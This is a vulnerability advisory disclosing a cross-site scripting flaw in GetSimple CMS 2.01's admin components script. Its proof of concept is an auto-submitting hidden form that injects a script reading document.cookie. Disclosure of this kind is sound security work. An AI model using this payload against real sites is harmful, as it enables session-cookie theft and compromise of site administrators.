Vulnerability ID: HTB22375 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_getsimple_cms.html Product: GetSimple CMS Vendor: Cagintranet Networks Vulnerable Version: 2.01 and Probably Prior Versions Vendor Notification: 10 May 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/components.php" script to properly sanitize user-supplied input in "val[]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://example.com/admin/components.php"; method="post" name="main" accept-charset="utf-8" > <input type="hidden" name="submitted" value="Save Components" /> <input name="val[]" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' /> <input type="hidden" name="slug[]" value="sidebar" /> <input type="hidden" name="title[]" value="Sidebar" /> <input type="hidden" name="id[]" value="0" /> <input type="hidden" name="val[]" value="Just Another GetSimple Website" /> <input type="hidden" name="slug[]" value="tagline" /> <input type="hidden" name="title[]" value="Tagline" /> <input type="hidden" name="id[]" value="1" /> </form> <script> document.main.submit(); </script>
